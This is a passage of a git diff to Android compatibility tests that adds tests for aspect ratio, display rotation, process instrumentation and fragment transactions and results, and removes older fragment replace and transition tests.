+    @Ignore
+    public void testMaxAspectRatioPreOActivity() throws Exception {
+        runTest(launchActivity(mSdk25MaxAspectRatioActivity),
+                actual -> {
+                    if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
+                    fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+                });
+    }
+
+    private void runTest(Activity activity, AssertAspectRatioCallback callback) {
+        callback.assertAspectRatio(getAspectRatio(activity));
+
+        // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
+        // context is updated correctly here. Also, what does it mean to be holding a reference to
+        // this activity if changing the orientation will cause a relaunch?
+//        activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+//        waitForIdle();
+//        callback.assertAspectRatio(getAspectRatio(activity));
+//
+//        activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
+//        waitForIdle();
+//        callback.assertAspectRatio(getAspectRatio(activity));
+    }
+
+    private float getAspectRatio(Context context) {
+        final Display display =
+                ((WindowManager) context.getSystemService(WINDOW_SERVICE)).getDefaultDisplay();
+        final Point size = new Point();
+        display.getSize(size);
+        final float longSide = Math.max(size.x, size.y);
+        final float shortSide = Math.min(size.x, size.y);
+        return longSide / shortSide;
+    }
+
+    private Activity launchActivity(ActivityTestRule activityRule) {
+        final Activity activity = activityRule.launchActivity(null);
+        waitForIdle();
+        return activity;
+    }
+
+    private void finishActivity(ActivityTestRule activityRule) {
+        final Activity activity = activityRule.getActivity();
+        if (activity != null) {
+            activity.finish();
+        }
+    }
+
+    private void waitForIdle() {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    private static boolean aspectRatioEqual(float a, float b) {
+        // Aspect ratios are considered equal if they ware within to significant digits.
+        float diff = Math.abs(a - b);
+        return diff < 0.01f;
+    }
+}
diff --git a/tests/app/src/android/app/cts/BaseProcessInstrumentation.java b/tests/app/src/android/app/cts/BaseProcessInstrumentation.java
new file mode 100644
index 0000000..e816ac9
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseProcessInstrumentation.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class BaseProcessInstrumentation extends Instrumentation {
+    final String mMainProc;
+    final String mReceiverClass;
+
+    public BaseProcessInstrumentation(String mainProc, String receiverClass) {
+        mMainProc = mainProc;
+        mReceiverClass = receiverClass;
+    }
+
+    @Override
+    public void onCreate(Bundle arguments) {
+        super.onCreate(arguments);
+        final String proc = getProcessName();
+        //Log.i("xxx", "Instrumentation starting in " + proc);
+        final Bundle result = new Bundle();
+        result.putBoolean(proc, true);
+        if (proc.equals(mMainProc)) {
+            // We are running in the main instr process...  start a service that will launch
+            // a secondary proc.
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.setClassName(ActivityManagerTest.SIMPLE_PACKAGE_NAME, mReceiverClass);
+            intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+            //Log.i("xxx", "Instrumentation sending broadcast: " + intent);
+            getContext().sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+                @Override public void onReceive(Context context, Intent intent) {
+                    //Log.i("xxx", "Instrumentation finishing in " + proc);
+                    finish(Activity.RESULT_OK, result);
+                }
+            }, null, 0, null, null);
+        } else {
+            // We are running in a secondary proc, just report it.
+            //Log.i("xxx", "Instrumentation adding result in " + proc);
+            addResults(result);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/DefaultProcessInstrumentation.java b/tests/app/src/android/app/cts/DefaultProcessInstrumentation.java
new file mode 100644
index 0000000..ca6503d
--- /dev/null
+++ b/tests/app/src/android/app/cts/DefaultProcessInstrumentation.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+public class DefaultProcessInstrumentation extends BaseProcessInstrumentation {
+    public DefaultProcessInstrumentation() {
+        super(ActivityManagerTest.SIMPLE_PACKAGE_NAME,
+                ActivityManagerTest.SIMPLE_PACKAGE_NAME
+                        + ActivityManagerTest.SIMPLE_REMOTE_RECEIVER);
+    }
+}
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index fa22ce4..42b1fed 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -28,7 +28,6 @@
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.content.res.TypedArray;
-import android.cts.util.PollingCheck;
 import android.graphics.Canvas;
 import android.graphics.ColorFilter;
 import android.graphics.Rect;
@@ -52,6 +51,8 @@
 
 import android.app.stubs.R;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.lang.ref.WeakReference;
 
 public class DialogTest extends ActivityInstrumentationTestCase2<DialogStubActivity> {
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
new file mode 100644
index 0000000..e3ce544
--- /dev/null
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import android.app.Instrumentation;
+import android.app.stubs.DisplayTestActivity;
+import android.app.stubs.OrientationTestUtils;
+import android.test.ActivityInstrumentationTestCase2;
+import android.view.Display;
+
+/**
+ * Tests to verify functionality of {@link Display}.
+ */
+public class DisplayTest extends ActivityInstrumentationTestCase2<DisplayTestActivity> {
+    private Instrumentation mInstrumentation;
+    private DisplayTestActivity mActivity;
+
+    public DisplayTest() {
+        super("android.app.stubs", DisplayTestActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mInstrumentation = getInstrumentation();
+        mActivity = getActivity();
+    }
+
+    /**
+     * Tests that the underlying {@link android.view.DisplayAdjustments} in {@link Display} updates.
+     * The method {@link DisplayTestActivity#getDisplay()} fetches the Display directly from the
+     * {@link android.view.WindowManager}. A display fetched before the rotation should have the
+     * updated adjustments after a rotation.
+     */
+    public void testRotation() throws Throwable {
+        // Get a {@link Display} instance before rotation.
+        final Display origDisplay = mActivity.getDisplay();
+
+        // Capture the originally reported width and heights
+        final int origWidth = origDisplay.getWidth();
+        final int origHeight = origDisplay.getHeight();
+
+        // Change orientation
+        OrientationTestUtils.switchOrientation(mActivity, mInstrumentation);
+
+        // Get a {@link Display} instance after rotation.
+        final Display updatedDisplay = mActivity.getDisplay();
+
+        // For square sreens the following assertions do not make sense and will always fail.
+        if (origWidth != origHeight) {
+            // Ensure that the width and height of the original instance no longer are the same. Note
+            // that this will be false if the device width and height are identical.
+            assertFalse("width from original display instance should have changed",
+                    origWidth == origDisplay.getWidth());
+            assertFalse("height from original display instance should have changed",
+                    origHeight == origDisplay.getHeight());
+        }
+
+        // Ensure that the width and height of the original instance have been updated to match the
+        // values that would be found in a new instance.
+        assertTrue("width from original display instance should match current",
+                origDisplay.getWidth() == updatedDisplay.getWidth());
+        assertTrue("height from original display instance should match current",
+                origDisplay.getHeight() == updatedDisplay.getHeight());
+    }
+}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 1bec983..873647f 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -23,7 +23,6 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -35,6 +34,7 @@
 import android.webkit.cts.CtsTestServer;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PollingCheck;
 
 import java.io.File;
 import java.util.Arrays;
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
new file mode 100644
index 0000000..f20113b
--- /dev/null
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import static org.mockito.Mockito.*;
+
+import android.app.Activity;
+import android.app.Fragment;
+import android.app.PendingIntent;
+import android.app.stubs.FragmentResultActivity;
+import android.app.stubs.FragmentTestActivity;
+import android.app.stubs.R;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.test.ActivityInstrumentationTestCase2;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.mockito.ArgumentCaptor;
+
+/**
+ * Tests Fragment's startActivityForResult and startIntentSenderForResult.
+ */
+public class FragmentReceiveResultTest extends
+        ActivityInstrumentationTestCase2<FragmentTestActivity> {
+
+    private FragmentTestActivity mActivity;
+    private Fragment mFragment;
+
+    public FragmentReceiveResultTest() {
+        super(FragmentTestActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        mFragment = attachTestFragment();
+    }
+
+    @SmallTest
+    public void testStartActivityForResultOk() {
+        startActivityForResult(10, Activity.RESULT_OK, "content 10");
+
+        ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
+        verify(mFragment, times(1))
+                .onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
+        final String data = captor.getValue()
+                .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
+        assertEquals("content 10", data);
+    }
+
+    @SmallTest
+    public void testStartActivityForResultCanceled() {
+        startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
+
+        ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
+        verify(mFragment, times(1))
+                .onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
+        final String data = captor.getValue()
+                .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
+        assertEquals("content 20", data);
+    }
+
+    @SmallTest
+    public void testStartIntentSenderForResultOk() {
+        startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
+
+        ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
+        verify(mFragment, times(1))
+                .onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
+        final String data = captor.getValue()
+                .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
+        assertEquals("content 30", data);
+    }
+
+    @SmallTest
+    public void testStartIntentSenderForResultCanceled() {
+        startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
+
+        ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
+        verify(mFragment, times(1))
+                .onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
+        final String data = captor.getValue()
+                .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
+        assertEquals("content 40", data);
+    }
+
+    private Fragment attachTestFragment() {
+        final Fragment fragment = spy(new Fragment());
+        getInstrumentation().waitForIdleSync();
+        getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                mActivity.getFragmentManager().beginTransaction()
+                        .add(R.id.content, fragment)
+                        .addToBackStack(null)
+                        .commitAllowingStateLoss();
+                mActivity.getFragmentManager().executePendingTransactions();
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+        return fragment;
+    }
+
+    private void startActivityForResult(final int requestCode, final int resultCode,
+            final String content) {
+        getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                Intent intent = new Intent(mActivity, FragmentResultActivity.class);
+                intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CODE, resultCode);
+                intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
+
+                mFragment.startActivityForResult(intent, requestCode);
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+    }
+
+    private void startIntentSenderForResult(final int requestCode, final int resultCode,
+            final String content) {
+        getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                Intent intent = new Intent(mActivity, FragmentResultActivity.class);
+                intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CODE, resultCode);
+                intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
+
+                PendingIntent pendingIntent = PendingIntent.getActivity(mActivity,
+                        requestCode, intent, 0);
+
+                try {
+                    mFragment.startIntentSenderForResult(pendingIntent.getIntentSender(),
+                            requestCode, null, 0, 0, 0, null);
+                } catch (IntentSender.SendIntentException e) {
+                    fail("IntentSender failed");
+                }
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+    }
+
+}
diff --git a/tests/app/src/android/app/cts/FragmentReplaceTest.java b/tests/app/src/android/app/cts/FragmentReplaceTest.java
deleted file mode 100644
index ad9e3af..0000000
--- a/tests/app/src/android/app/cts/FragmentReplaceTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.app.cts;
-
-import android.app.stubs.FragmentTestActivity;
-import android.app.stubs.FragmentTestActivity.TestFragment;
-import android.app.stubs.R;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-
-/**
- * Test to prevent regressions in FragmentManager fragment replace method. See b/24693644
- */
-public class FragmentReplaceTest extends
-        ActivityInstrumentationTestCase2<FragmentTestActivity> {
-    private FragmentTestActivity mActivity;
-
-
-    public FragmentReplaceTest() {
-        super(FragmentTestActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    @UiThreadTest
-    public void testReplaceFragment() throws Throwable {
-        mActivity.getFragmentManager().beginTransaction()
-                .add(R.id.content, new TestFragment(R.layout.fragment_a))
-                .addToBackStack(null)
-                .commit();
-        mActivity.getFragmentManager().executePendingTransactions();
-        assertNotNull(mActivity.findViewById(R.id.textA));
-        assertNull(mActivity.findViewById(R.id.textB));
-        assertNull(mActivity.findViewById(R.id.textC));
-
-        mActivity.getFragmentManager().beginTransaction()
-                .add(R.id.content, new TestFragment(R.layout.fragment_b))
-                .addToBackStack(null)
-                .commit();
-        mActivity.getFragmentManager().executePendingTransactions();
-        assertNotNull(mActivity.findViewById(R.id.textA));
-        assertNotNull(mActivity.findViewById(R.id.textB));
-        assertNull(mActivity.findViewById(R.id.textC));
-
-        mActivity.getFragmentManager().beginTransaction()
-                .replace(R.id.content, new TestFragment(R.layout.fragment_c))
-                .addToBackStack(null)
-                .commit();
-        mActivity.getFragmentManager().executePendingTransactions();
-        assertNull(mActivity.findViewById(R.id.textA));
-        assertNull(mActivity.findViewById(R.id.textB));
-        assertNotNull(mActivity.findViewById(R.id.textC));
-    }
-}
diff --git a/tests/app/src/android/app/cts/FragmentTransactionTest.java b/tests/app/src/android/app/cts/FragmentTransactionTest.java
new file mode 100644
index 0000000..019abad
--- /dev/null
+++ b/tests/app/src/android/app/cts/FragmentTransactionTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+
+import android.app.Fragment;
+import android.app.Instrumentation;
+import android.app.stubs.FragmentTestActivity;
+import android.app.stubs.R;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests usage of the {@link android.app.FragmentTransaction} class.
+ */
+@RunWith(AndroidJUnit4.class)
+public class FragmentTransactionTest {
+
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentTestActivity.class);
+
+    private FragmentTestActivity mActivity;
+
+    @Before
+    public void setUp() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testAddTransactionWithValidFragment() {
+        final Fragment fragment = new CorrectFragment();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                mActivity.getFragmentManager().beginTransaction()
+                        .add(R.id.content, fragment)
+                        .addToBackStack(null)
+                        .commit();
+                mActivity.getFragmentManager().executePendingTransactions();
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        assertTrue(fragment.isAdded());
+    }
+
+    @Test
+    public void testAddTransactionWithPrivateFragment() {
+        final Fragment fragment = new PrivateFragment();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithPackagePrivateFragment() {
+        final Fragment fragment = new PackagePrivateFragment();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithAnonymousFragment() {
+        final Fragment fragment = new Fragment() {};
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithNonStaticFragment() {
+        final Fragment fragment = new NonStaticFragment();
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    /**
+     * Test to ensure that when onBackPressed() is received that there is no crash.
+     */
+    @Test
+    public void crashOnBackPressed() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            Bundle outState = new Bundle();
+            instrumentation.callActivityOnSaveInstanceState(mActivity, outState);
+            mActivity.onBackPressed();
+        });
+    }
+
+    public static class CorrectFragment extends Fragment {}
+
+    private static class PrivateFragment extends Fragment {}
+
+    private static class PackagePrivateFragment extends Fragment {}
+
+    private class NonStaticFragment extends Fragment {}
+}
diff --git a/tests/app/src/android/app/cts/FragmentTransitionTest.java b/tests/app/src/android/app/cts/FragmentTransitionTest.java
deleted file mode 100644
index 7270672..0000000
--- a/tests/app/src/android/app/cts/FragmentTransitionTest.java
+++ /dev/null
@@ -1,466 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.app.cts;
-
-import android.app.FragmentManager;
-import android.app.stubs.FragmentTestActivity;
-import android.app.stubs.FragmentTestActivity.OnTransitionListener;
-import android.app.stubs.FragmentTestActivity.TestFragment;
-import android.app.stubs.R;
-import android.os.Debug;
-import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.view.View;
-
-public class FragmentTransitionTest extends
-        ActivityInstrumentationTestCase2<FragmentTestActivity> {
-    private TestFragment mStartFragment;
-    private TestFragment mMidFragment;
-    private TestFragment mEndFragment;
-    private FragmentTestActivity mActivity;
-
-    public FragmentTransitionTest() {
-        super(FragmentTestActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mStartFragment = null;
-        mMidFragment = null;
-        mEndFragment = null;
-        mActivity = getActivity();
-    }
-
-    public void testFragmentTransition() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.ENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        mStartFragment.clearNotifications();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final View sharedElement = mActivity.findViewById(R.id.hello);
-                assertEquals("source", sharedElement.getTransitionName());
-
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mEndFragment)
-                        .addSharedElement(sharedElement, "destination")
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.ENTER);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.ENTER));
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.EXIT));
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.SHARED_ELEMENT_ENTER));
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final View textView = mActivity.findViewById(R.id.hello);
-                assertEquals("destination", textView.getTransitionName());
-                mActivity.getFragmentManager().popBackStack();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.REENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.REENTER));
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.RETURN));
-    }
-
-    public void testFirstOutLastInTransition() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.ENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        mStartFragment.clearNotifications();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mMidFragment = new TestFragment(R.layout.checkbox_layout);
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mMidFragment)
-                        .replace(R.id.content, mEndFragment)
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.ENTER);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        mStartFragment.clearNotifications();
-        mEndFragment.clearNotifications();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getFragmentManager().popBackStack();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.RETURN);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        assertTrue(mStartFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.RETURN));
-    }
-
-    public void testPopTwo() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.ENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        mStartFragment.clearNotifications();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mMidFragment = new TestFragment(R.layout.checkbox_layout);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mMidFragment)
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mMidFragment, TestFragment.ENTER);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mEndFragment)
-                        .addToBackStack(null)
-                        .commit();
